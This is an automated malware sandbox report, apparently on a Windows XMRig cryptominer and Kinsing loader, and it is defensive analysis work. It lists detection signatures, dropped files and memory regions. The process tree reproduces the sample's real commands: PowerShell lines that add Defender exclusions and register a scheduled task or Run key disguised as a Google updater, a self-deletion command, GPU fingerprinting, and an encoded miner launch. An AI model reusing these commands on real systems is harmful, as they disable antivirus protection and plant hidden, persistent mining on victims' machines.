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240125-vfcyksbhgr10

24/01/2024, 17:15

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23/01/2024, 19:27

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240123-x584esgbd510

Analysis

  • max time kernel
    1800s
  • max time network
    1792s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/01/2024, 17:15

General

  • Target
    grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
  • Size 2.0MB
  • Sample240124-vstf4aecaj
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Kinsing

    Kinsing is a loader written in Golang.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe
    "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    PID:3544
  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3552
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4124
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2504
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1088
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:3792
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2180
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:3696
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3704
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3068
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:756
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:4364
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              PID:3112
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2880
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              • Suspicious use of WriteProcessMemory
              PID:1964
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic PATH Win32_VideoController GET Name, VideoProcessor
                3⤵
                • Detects videocard installed
                PID:948

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 296KB
                • SHA256 6b2570a1a7a999931a23241dd2bb23b3d2efc0d59ac0cdaefa268e9e6cbe88e5
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 f6f4442564ab77163d4d1ffffc74c3d714102979ee9e075c5235174c6e5761db
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_s0bnoegk.e4c.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s0bnoegk.e4c.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/756-132-0x00007FF72F830000-0x00007FF72F846000-memory.dmp

                memory/756-125-0x00007FF72F830000-0x00007FF72F846000-memory.dmp

                memory/2180-52-0x00007FF8AA240000-0x00007FF8AAD01000-memory.dmp

                memory/2180-39-0x00000131B74F0000-0x00000131B7500000-memory.dmp

                memory/2180-38-0x00000131B74F0000-0x00000131B7500000-memory.dmp

                memory/2180-37-0x00007FF8AA240000-0x00007FF8AAD01000-memory.dmp

                memory/2504-30-0x00000170F1F30000-0x00000170F1F40000-memory.dmp

                memory/2504-29-0x00000170F1F30000-0x00000170F1F40000-memory.dmp

                memory/2504-34-0x00007FF8AA240000-0x00007FF8AAD01000-memory.dmp

                memory/2504-32-0x00000170F1F30000-0x00000170F1F40000-memory.dmp

                memory/2504-31-0x00000170F1F30000-0x00000170F1F40000-memory.dmp

                memory/2504-18-0x00007FF8AA240000-0x00007FF8AAD01000-memory.dmp

                memory/2880-53-0x00007FF7E2960000-0x00007FF7E2B71000-memory.dmp

                memory/2880-121-0x00007FF7E2960000-0x00007FF7E2B71000-memory.dmp

                memory/3068-101-0x000001D637650000-0x000001D637660000-memory.dmp

                memory/3068-114-0x00007FF8AA240000-0x00007FF8AAD01000-memory.dmp

                memory/3068-112-0x000001D637650000-0x000001D637660000-memory.dmp

                memory/3068-111-0x000001D651F10000-0x000001D651FC5000-memory.dmp

                memory/3068-100-0x000001D637650000-0x000001D637660000-memory.dmp

                memory/3068-99-0x00007FF8AA240000-0x00007FF8AAD01000-memory.dmp

                memory/3544-0-0x00007FF7CE080000-0x00007FF7CE291000-memory.dmp

                memory/3544-36-0x00007FF7CE080000-0x00007FF7CE291000-memory.dmp

                memory/3704-77-0x0000025FFAAA0000-0x0000025FFAAAA000-memory.dmp

                memory/3704-78-0x0000025FFAC10000-0x0000025FFAC2C000-memory.dmp

                memory/3704-82-0x0000025FFAC30000-0x0000025FFAC36000-memory.dmp

                memory/3704-84-0x0000025FDFE40000-0x0000025FDFE50000-memory.dmp

                memory/3704-87-0x00007FF8AA240000-0x00007FF8AAD01000-memory.dmp

                memory/3704-83-0x0000025FFAC40000-0x0000025FFAC4A000-memory.dmp

                memory/3704-80-0x0000025FFAC50000-0x0000025FFAC6A000-memory.dmp

                memory/3704-81-0x0000025FFAC00000-0x0000025FFAC08000-memory.dmp

                memory/3704-79-0x0000025FFABF0000-0x0000025FFABFA000-memory.dmp

                memory/3704-63-0x00007FF8AA240000-0x00007FF8AAD01000-memory.dmp

                memory/3704-64-0x0000025FDFE40000-0x0000025FDFE50000-memory.dmp

                memory/3704-76-0x0000025FFA9E0000-0x0000025FFAA95000-memory.dmp

                memory/3704-75-0x0000025FFA9C0000-0x0000025FFA9DC000-memory.dmp

                memory/3704-65-0x0000025FDFE40000-0x0000025FDFE50000-memory.dmp

                memory/4124-12-0x00000161C49A0000-0x00000161C49B0000-memory.dmp

                memory/4124-11-0x00007FF8AA240000-0x00007FF8AAD01000-memory.dmp

                memory/4124-16-0x00007FF8AA240000-0x00007FF8AAD01000-memory.dmp

                memory/4124-13-0x00000161C49A0000-0x00000161C49B0000-memory.dmp

                memory/4124-6-0x00000161AC270000-0x00000161AC292000-memory.dmp

                memory/4364-133-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-153-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-126-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-127-0x0000025AF7260000-0x0000025AF7280000-memory.dmp

                memory/4364-128-0x0000025AF7280000-0x0000025AF72A0000-memory.dmp

                memory/4364-130-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-131-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-123-0x0000025AF70D0000-0x0000025AF70F0000-memory.dmp

                memory/4364-122-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-134-0x0000025AF7260000-0x0000025AF7280000-memory.dmp

                memory/4364-136-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-137-0x0000025AF7280000-0x0000025AF72A0000-memory.dmp

                memory/4364-139-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-141-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-143-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-145-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-147-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-149-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-151-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-124-0x0000025AF7240000-0x0000025AF7260000-memory.dmp

                memory/4364-155-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-157-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-159-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-161-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-163-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-165-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-167-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-169-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-171-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-173-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-175-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-177-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-179-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-181-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-183-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-185-0x00007FF716B50000-0x00007FF717344000-memory.dmp

                memory/4364-187-0x00007FF716B50000-0x00007FF717344000-memory.dmp